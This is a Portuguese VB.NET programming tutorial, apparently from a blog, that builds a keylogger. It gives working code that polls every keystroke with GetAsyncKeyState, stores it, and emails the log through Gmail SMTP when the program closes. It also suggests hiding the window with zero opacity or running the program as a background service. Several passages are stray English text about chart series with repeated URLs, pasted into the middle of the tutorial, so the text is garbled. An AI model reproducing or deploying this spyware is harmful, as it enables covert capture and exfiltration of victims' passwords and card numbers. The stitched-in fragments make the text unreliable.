|
![]() |
![]() |
Neste artigo eu vou mostrar como criar um keylogger bem simples usando a linguagem VB .NET. |
![]() |
Às vezes recebo emails de pessoas interessadas em criar um registrador das ações feitas no computador via teclado, gravando tudo o que foi digitado em um arquivo para análise posterior.
Esse tipo de programa é conhecido como KeyLogger. Então vamos ver o que a Wikipedia diz sobre esse tal de Keylogger :
Key logger
(que significa registrador do
teclado em inglês) é um programa de computador do tipo spyware cuja finalidade é
registrar tudo o que é digitado, quase sempre a fim de capturar senhas, números
de cartão de crédito e afins. Muitos casos de phishing, assim como outros tipos
de fraudes virtuais, se baseiam no uso de algum tipo de keylogger, instalado no
computador sem o conhecimento da vítima, que captura dados sensíveis e os envia
a um cracker que depois os utiliza para fraudes.
Existem softwares apropriados para se defender deste tipo de ameaça. É sempre
oportuno que um computador conectado à internet seja protegido através de um
software antispyware de um firewall e de um antivírus.
O key logger também é um programa utilizado muito por empresas para monitorar o
que seus funcionários fazem em sua máquina, porém em muitos casos as pessoas
utilizam o programa de forma mal-intencionada.
Creio que já deu para entender o conceito por trás desse tipo de programa. Então neste artigo eu vou mostrar como podemos criar um keylogger básico usando a linguagem VB .NET.
Existem muitas formas de implementar um keylogger e quanto mais sofisticado, mais complexo será o seu código.
Para manter as coisas simples o exemplo do artigo vai registrar tudo o que for digitado em uma variável de memória que poderá ser enviada via email. Você pode alterar o código salvando o log no disco no formato texto, xml, json ou mesmo em um banco de dados. Fica a seu critério.
No projeto existe um arquivo texto com os códigos de cada tecla que você poderá usar para incluir no seu log.
Vamos usar a função GetAsyncKeyState que determina se uma tecla foi acionada no momento que a função é chamada e se a tecla foi pressionada depois de uma chamada anterior à função.
A função também funciona com o mouse, checando porém o estado físico dos botões e não o botões lógicos.
Recursos usados:
Nota: Baixe e use a versão Community 2015 do VS ela é grátis e é equivalente a versão Professional.
Criando o projeto no VS Community
Abra o VS Community 2015 e clique em New Project;
Selecione a linguagem Visual Basic e o template Windows Forms Application;
Informe o nome VBNET_KeyLogger e clique no botão OK;
A partir da ToolBox inclua no formulário os seguintes controles:
Disponha os controles conforme o leiaute da figura abaixo:
Agora vamos declarar o namespace para enviar o email com o log.
Imports
System.Net.MailA seguir no início do formulário vamos declarar a função GetAsyncKeyState que será usada para capturar a entrada do teclado e a variável Log onde iremos armazenar essa entrada.
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short Public Log As StringNo evento Load do formulário temos o código que ativa o Timer:
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
Timer1.Start()
End Sub
|
A seguir no evento Tick do Timer temos o código que captura cada tecla pressionada do teclado e armazena na variável Log:
Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
If (GetAsyncKeyState(65)) Then
Log = Log + "A"
ElseIf (GetAsyncKeyState(66)) Then
Log = Log + "B"
ElseIf (GetAsyncKeyState(67)) Then
Log = Log + "C"
ElseIf (GetAsyncKeyState(68)) Then
Log = Log + "D"
ElseIf (GetAsyncKeyState(69)) Then
Log = Log + "E"
ElseIf (GetAsyncKeyState(70)) Then
Log = Log + "F"
ElseIf (GetAsyncKeyState(71)) Then
Log = Log + "G"
ElseIf (GetAsyncKeyState(72)) Then
Log = Log + "H"
ElseIf (GetAsyncKeyState(73)) Then
Log = Log + "I"
ElseIf (GetAsyncKeyState(74)) Then
Log = Log + "J"
ElseIf (GetAsyncKeyState(75)) Then
Log = Log + "K"
ElseIf (GetAsyncKeyState(76)) Then
Log = Log + "L"
ElseIf (GetAsyncKeyState(77)) Then
Log = Log + "M"
ElseIf (GetAsyncKeyState(78)) Then
Log = Log + "N"
ElseIf (GetAsyncKeyState(79)) Then
Log = Log + "O"
ElseIf (GetAsyncKeyState(80)) Then
Log = Log + "P"
ElseIf (GetAsyncKeyState(81)) Then
Log = Log + "Q"
ElseIf (GetAsyncKeyState(82)) Then
Log = Log + "R"
ElseIf (GetAsyncKeyState(83)) Then
Log = Log + "S"
ElseIf (GetAsyncKeyState(84)) Then
Log = Log + "T"
ElseIf (GetAsyncKeyState(85)) Then
Log = Log + "U"
ElseIf (GetAsyncKeyState(86)) Then
Log = Log + "V"
ElseIf (GetAsyncKeyState(87)) Then
Log = Log + "W"
ElseIf (GetAsyncKeyState(88)) Then
Log = Log + "X"
ElseIf (GetAsyncKeyState(89)) Then
Log = Log + "Y"
ElseIf (GetAsyncKeyState(90)) Then
Log = Log + "Z"
ElseIf (GetAsyncKeyState(48)) Then ' numeros 1 a 9
Log = Log + "0"
ElseIf (GetAsyncKeyState(49)) Then
Log = Log + "1"
ElseIf (GetAsyncKeyState(50)) Then
Log = Log + "2"
ElseIf (GetAsyncKeyState(51)) Then
Log = Log + "3"
ElseIf (GetAsyncKeyState(52)) Then
Log = Log + "4"
ElseIf (GetAsyncKeyState(53)) Then
Log = Log + "5"
ElseIf (GetAsyncKeyState(54)) Then
Log = Log + "6"
ElseIf (GetAsyncKeyState(55)) Then
Log = Log + "7"
ElseIf (GetAsyncKeyState(56)) Then
Log = Log + "8"
ElseIf (GetAsyncKeyState(57)) Then 'fim numeros
Log = Log + "9"
ElseIf (GetAsyncKeyState(96)) Then ' teclado numerico
Log = Log + "{0}"
ElseIf (GetAsyncKeyState(97)) Then
Log = Log + "{1}"
ElseIf (GetAsyncKeyState(98)) Then
Log = Log + "{2}"
ElseIf (GetAsyncKeyState(99)) Then
Log = Log + "{3}"
ElseIf (GetAsyncKeyState(100)) Then
Log = Log + "{4}"
ElseIf (GetAsyncKeyState(101)) Then
Log = Log + "{5}"
ElseIf (GetAsyncKeyState(102)) Then
Log = Log + "{6}"
ElseIf (GetAsyncKeyState(103)) Then
Log = Log + "{7}"
ElseIf (GetAsyncKeyState(104)) Then
Log = Log + "{8}"
ElseIf (GetAsyncKeyState(105)) Then ' fim teclado numerico
Log = Log + "{9}"
ElseIf (GetAsyncKeyState(106)) Then ' operacoes *
Log = Log + "{Num*}"
ElseIf (GetAsyncKeyState(107)) Then
Log = Log + "{Num+}"
ElseIf (GetAsyncKeyState(13)) Then
Log = Log + "{Enter}"
ElseIf (GetAsyncKeyState(109)) Then
Log = Log + "{Num-}"
ElseIf (GetAsyncKeyState(110)) Then
Log = Log + "{Num.}"
ElseIf (GetAsyncKeyState(111)) Then 'fim operacoes /
Log = Log + "{Num/}"
ElseIf (GetAsyncKeyState(32)) Then
Log = Log + " "
ElseIf (GetAsyncKeyState(8)) Then
Log = Log + "{Backspace}"
ElseIf (GetAsyncKeyState(9)) Then
Log = Log + "{Tab}"
ElseIf (GetAsyncKeyState(16)) Then
Log = Log + "{Shift}"
ElseIf (GetAsyncKeyState(17)) Then
Log = Log + "{Control}"
ElseIf (GetAsyncKeyState(20)) Then
Log = Log + "{Caps}"
ElseIf (GetAsyncKeyState(27)) Then
Log = Log + "{Esc}"
ElseIf (GetAsyncKeyState(33)) Then
Log = Log + "{PGup}"
ElseIf (GetAsyncKeyState(34)) Then
Log = Log + "{PGdn}"
ElseIf (GetAsyncKeyState(35)) Then
Log = Log + "{End}"
ElseIf (GetAsyncKeyState(36)) Then
Log = Log + "{Home}"
ElseIf (GetAsyncKeyState(37)) Then
Log = Log + "{LArrow}"
ElseIf (GetAsyncKeyState(38)) Then
Log = Log + "{UArrow}"
ElseIf (GetAsyncKeyState(39)) Then
Log = Log + "{RArrow}"
ElseIf (GetAsyncKeyState(40)) Then
Log = Log + "{DArrow}"
ElseIf (GetAsyncKeyState(45)) Then
Log = Log + "{Insert}"
ElseIf (GetAsyncKeyState(46)) Then
Log = Log + "{Del}"
ElseIf (GetAsyncKeyState(144)) Then
Log = Log + "{NumLock}"
ElseIf (GetAsyncKeyState(188)) Then
Log = Log + "{,}"
ElseIf (GetAsyncKeyState(187)) Then
Log = Log + "{=}"
ElseIf (GetAsyncKeyState(186)) Then
Log = Log + "{;}"
ElseIf (GetAsyncKeyState(8)) Then
Log = Log + "{BS}"
ElseIf (GetAsyncKeyState(32)) Then
Log = Log + "{ }"
ElseIf (GetAsyncKeyState(112)) Then
Log = Log + "{F1}"
ElseIf (GetAsyncKeyState(113)) Then
Log = Log + "{F2}"
ElseIf (GetAsyncKeyState(114)) Then
Log = Log + "{F3}"
End If
End Sub
|
Eu não estou capturando todas as teclas. Se desejar implementar mais teclas veja o arquivo texto anexo ao projeto que contém o código das teclas.
We will delete Series1 becuase we will replace it with Expenses and Sales.
Right click the chart and click on properties. In the properties window, scroll down to Series and click on the small button next to Collection:
- See more at: http://www.visual-basic-tutorials.com/display-data-as-charts-and-graph-in-visual-basic.html#sthash.lBTOTLaR.dpufWe will delete Series1 becuase we will replace it with Expenses and Sales.
Right click the chart and click on properties. In the properties window, scroll down to Series and click on the small button next to Collection:
- See more at: http://www.visual-basic-tutorials.com/display-data-as-charts-and-graph-in-visual-basic.html#sthash.lBTOTLaR.dpufNo evento Click do botão de comando Mostrar Log temos o código que exibe o log capturado no RichTextBox (rtb1):
Private Sub btnMostrarLog_Click(sender As Object, e As EventArgs) Handles btnMostrarLog.Click
rtb1.Text = Log
End Sub
|
We will delete Series1 becuase we will replace it with Expenses and Sales.
Right click the chart and click on properties. In the properties window, scroll down to Series and click on the small button next to Collection:
- See more at: http://www.visual-basic-tutorials.com/display-data-as-charts-and-graph-in-visual-basic.html#sthash.lBTOTLaR.dpufWe will delete Series1 becuase we will replace it with Expenses and Sales.
Right click the chart and click on properties. In the properties window, scroll down to Series and click on the small button next to Collection:
- See more at: http://www.visual-basic-tutorials.com/display-data-as-charts-and-graph-in-visual-basic.html#sthash.lBTOTLaR.dpufWe will delete Series1 becuase we will replace it with Expenses and Sales.
Right click the chart and click on properties. In the properties window, scroll down to Series and click on the small button next to Collection:
- See more at: http://www.visual-basic-tutorials.com/display-data-as-charts-and-graph-in-visual-basic.html#sthash.lBTOTLaR.dpufWe will delete Series1 becuase we will replace it with Expenses and Sales.
Right click the chart and click on properties. In the properties window, scroll down to Series and click on the small button next to Collection:
- See more at: http://www.visual-basic-tutorials.com/display-data-as-charts-and-graph-in-visual-basic.html#sthash.lBTOTLaR.dpufWe will delete Series1 becuase we will replace it with Expenses and Sales.
Right click the chart and click on properties. In the properties window, scroll down to Series and click on the small button next to Collection:
- See more at: http://www.visual-basic-tutorials.com/display-data-as-charts-and-graph-in-visual-basic.html#sthash.lBTOTLaR.dpufFinalmente usamos o evento Text_Closing para que se a aplicação for encerrada um email seja enviado para um destinatário.
Private Sub Text_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
EnviaEmail()
End Sub
Private Sub EnviaEmail()
Try
Dim Mail As New MailMessage
Mail.Subject = "Keylog"
Mail.To.Add("seu_endereco_email@gmail.com")
Mail.From = New MailAddress("seu_endereco_email@gmail.com")
Mail.Body = Log
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("seu_email@gmail.com", "sua_senha")
SMTP.Port = "587"
SMTP.Send(Mail)
Catch ex As Exception
MessageBox.Show("Erro : " + ex.Message)
End Try
End Sub
|
Você pode alterar essa funcionalidade salvando o arquivo de log no seu disco.
Outra dica para ocultar o seu projeto seria definir a propriedade Opacity do formulário form1 com valor igual a 0; assim ao executar o formulário fica invisível.
Nota: Uma implementação mais robusta seria criar o projeto como um serviço do Windows e deixá-lo rodando em background.
Executando o projeto e abrindo o Bloco de Notas, após digitar algum texto podemos visualizar o log capturado no programa Keylogger:
![]() |
Pegue o projeto completo aqui : VBNET_KeyLogger.zip
Porque Deus enviou o seu Filho ao mundo,
não para que condenasse o mundo, mas para que o mundo fosse salvo por ele.
Quem crê nele não é condenado; mas quem não crê já está condenado, porquanto não
crê no nome do unigênito Filho de Deus.
João 3:17,18
Veja os
Destaques e novidades do SUPER DVD Visual Basic (sempre atualizado) : clique
e confira !
Quer migrar para o VB .NET ?
Quer aprender C# ??
Quer aprender os conceitos da Programação Orientada a objetos ? Quer aprender o gerar relatórios com o ReportViewer no VS 2013 ? Quer aprender a criar aplicações Web Dinâmicas usando a ASP .NET MVC 5 ? |
Gostou ?
Compartilhe no Facebook
Compartilhe no Twitter
Referências: